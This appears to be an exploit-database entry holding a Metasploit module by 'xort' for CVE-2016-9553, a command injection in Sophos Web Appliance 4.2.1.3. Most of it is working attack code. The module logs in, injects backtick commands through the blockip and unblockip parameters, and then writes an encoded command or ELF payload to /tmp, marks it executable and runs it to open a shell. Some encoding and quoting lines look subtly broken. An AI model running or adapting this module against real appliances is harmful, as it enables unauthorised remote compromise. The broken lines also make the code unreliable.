Sophos Web Appliance 4.2.1.3 Block / Unblock

2017.02.24
Credit: xort
Risk: Medium
Local: Yes
Remote: No
CWE: N/A


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Sophos Web Appliance UnBlock/Block-IP Remote Command Injection Vulnerablity # Date: 12/12/2016 # Exploit Author: xort @ Critical Start # Vendor Homepage: www.sophos.com # Software Link: sophos.com/en-us/products/secure-web-gateway.aspx # Version: 4.2.1.3 # Tested on: 4.2.1.3 # # CVE : CVE-2016-9553 # vuln 1: unblockip parameter / MgrReport.php exploit # vuln 2: blockip parameter / MgrReport.php exploit # Description PostAuth Sophos Web App FW <= v4.2.1.3 for capablities. This exploit leverages a command injection bug. # # xort @ Critical Start require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Sophos Web Appliace <= v4.2.1.3 block/unblock remote exploit', 'Description' => %q{ This module exploits two 2 seperate remote command injecection vulnerabilities in the Sophos Web Appliace Version <= v4.2.1.3 the web administration interface. By sending a specially crafted request it's possible to inject system commands }, 'Author' => [ 'xort', # vuln + metasploit module ], 'Version' => '$Revision: 2 $', 'References' => [ [ 'none', 'none'], ], 'Platform' => [ 'linux'], 'Privileged' => true, 'Arch' => [ ARCH_X86 ], 'SessionTypes' => [ 'shell' ], 'Privileged' => false, 'Payload' => { 'Compat' => { 'ConnectionType' => 'find', } }, 'Targets' => [ [ 'blockip method', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'VulnName' => 'blockip', 'VulnNum' => '1', }, ], [ 'unblockip method', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'VulnName' => 'unblockip', 'VulnNum' => '2', }, ], ], 'DefaultTarget' => 0)) register_options( [ OptString.new('PASSWORD', [ false, 'Device password', "" ]), OptString.new('USERNAME', [ true, 'Device password', "admin" ]), OptString.new('CMD', [ false, 'Command to execute', "" ]), Opt::RPORT(443), ], self.class) end def do_login(username, password_clear) vprint_status( "Logging into machine with credentials...\n" ) # vars timeout = 11550; style_key = Rex::Text.rand_text_hex(32) # send request res = send_request_cgi( { 'method' => 'POST', 'uri' => "/index.php", 'vars_get' => { 'c' => 'login', }, 'vars_post' => { 'STYLE' => style_key, 'destination' => '', 'username' => username, 'password' => password_clear, } }, timeout) return style_key end def run_command(username, style_password, cmd) vprint_status( "Running Command...\n" ) # random attack method from calling methods into calling_commands = [ 'report','trend_volume','trend_suspect','top_app_ctrl','perf_latency','perf_throughput','users_browse_summary','traf_sites','traf_blocked','traf_users','users_virus_downloaders','users_pua_downloaders','users_highrisk','users_policy_violators','users_top_users_by_browse_time','users_quota','users_browse_time_by_user','users_top_users_by_category','users_site_visits_by_user','users_category_visits_by_user','users_monitored_search_queries','users_app_ctrl','traf_category','traf_download' ,'warned_sites' ] # select random calling page that calls the vulnerable page MgrReport.php where the vulns are attack_method = calling_commands[rand(calling_commands.length)] # random filename to dump too + 'tmp' HAS to be here. b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4)) vprint_status( "Attacking Vuln #" + target['VulnNum']+ " - " + target['VulnName'] + " with " + attack_method + "command method" ) res = send_request_cgi({ 'method' => 'GET', 'uri' => '/index.php?c=trend_suspect&' + target['VulnName'] + '=1.2.3.6`'+ cmd +'`&STYLE='+style_password }) end def exploit # timeout timeout = 1550; # params password_clear = datastore['PASSWORD'] user = datastore['USERNAME'] style_hash = do_login(user, password_clear) vprint_status("STATUS hash authenticated: #{style_hash}\n") sleep(5) #if no 'CMD' string - add code for root shell if not datastore['CMD'].nil? and not datastore['CMD'].empty? cmd = datastore['CMD'] # Encode cmd payload encoded_cmd = cmd.unpack("H*").join().gsub(/(w)(w)/,'\x12') # kill stale calls to bdump from previous exploit calls for re-use run_command(user, style_hash, ("sudo /bin/rm -f /tmp/n ;printf "#{encoded_cmd}" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" )) else # Encode payload to ELF file for deployment elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) encoded_elf = elf.unpack("H*").join().gsub(/(w)(w)/,'\\x12') # upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload) run_command(user, style_hash, ("echo%20-e%20#{encoded_elf}>%20/tmp/m;chmod%20%2brx%20/tmp/m;/tmp/m")) # wait for magic handler end end end


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